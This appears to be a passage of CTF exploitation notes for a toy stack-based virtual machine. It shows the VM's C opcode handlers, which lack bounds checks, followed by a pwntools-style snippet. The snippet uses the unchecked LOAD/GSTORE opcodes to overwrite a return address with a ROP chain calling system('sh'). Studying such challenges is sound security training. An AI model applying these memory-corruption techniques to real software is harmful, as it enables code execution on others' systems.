typedefenum { NOOP = 0, IADD = 1, // int add ISUB = 2, IMUL = 3, ILT = 4, // int less than IEQ = 5, // int equal BR = 6, // branch BRT = 7, // branch if true BRF = 8, // branch if false ICONST = 9, // push constant integer LOAD = 10, // load from local context GLOAD = 11, // load from global memory STORE = 12, // store in local context GSTORE = 13, // store in global memory PRINT = 14, // print stack top POP = 15, // throw away top of stack CALL = 16, // call function at address with nargs,nlocals RET = 17, // return value from function HALT = 18 } VM_CODE;
case LOAD: // load local or arg from local context offset = vm->code[ip++]; vm->stack[++sp] = vm->call_stack[callsp].locals[offset]; break;
case GLOAD: // load from global memory addr = vm->code[ip++]; vm->stack[++sp] = vm->globals[addr]; break;
case STORE: // store in local context offset = vm->code[ip++]; vm->call_stack[callsp].locals[offset] = vm->stack[sp--]; break;
case GSTORE: // store in global memory addr = vm->code[ip++]; vm->globals[addr] = vm->stack[sp--]; break;
case CALL: // call function at address with nargs,nlocals // expects all args on stack addr = vm->code[ip++]; // index of target function int nargs = vm->code[ip++]; // how many args got pushed int nlocals = vm->code[ip++]; // how many locals to allocate ++callsp; // bump stack pointer to reveal space for this call vm_context_init(&vm->call_stack[callsp], ip, nargs+nlocals); // copy args into new context for (int i=0; i<nargs; i++) { vm->call_stack[callsp].locals[i] = vm->stack[sp-i];// 将存在栈上的参数存入locals } sp -= nargs; ip = addr; // jump to function break;
case RET: ip = vm->call_stack[callsp].returnip; callsp--; // pop context break;
NOOP = 0 IADD = 1# int add ISUB = 2# int sub IMUL = 3# int mul ILT = 4# int less than IEQ = 5# int equal BR = 6# branch BRT = 7# branch if true BRF = 8# branch if true ICONST = 9# push constant integer LOAD = 10# load from local context GLOAD = 11# load from global memory STORE = 12# store in local context GSTORE = 13# store in global memory PRINT = 14# print stack top POP = 15# throw away top of stack CALL = 16# call function at address with nargs,nlocals RET = 17# return value from function HALT = 18
#change global addr to ret_addr in stack code+=p32(POP)*2 code+=p32(LOAD)+p32(ret_addr_low) code+=p32(LOAD)+p32(code_addr_high)
#ret -> pop rdi -> "sh\x00\x00" -> system code+=p32(LOAD)+p32(og_low) code+=p32(LOAD)+p32(og_high)#pop rdi ; ret code+=p32(GSTORE)+p32(1) code+=p32(GSTORE)+p32(0)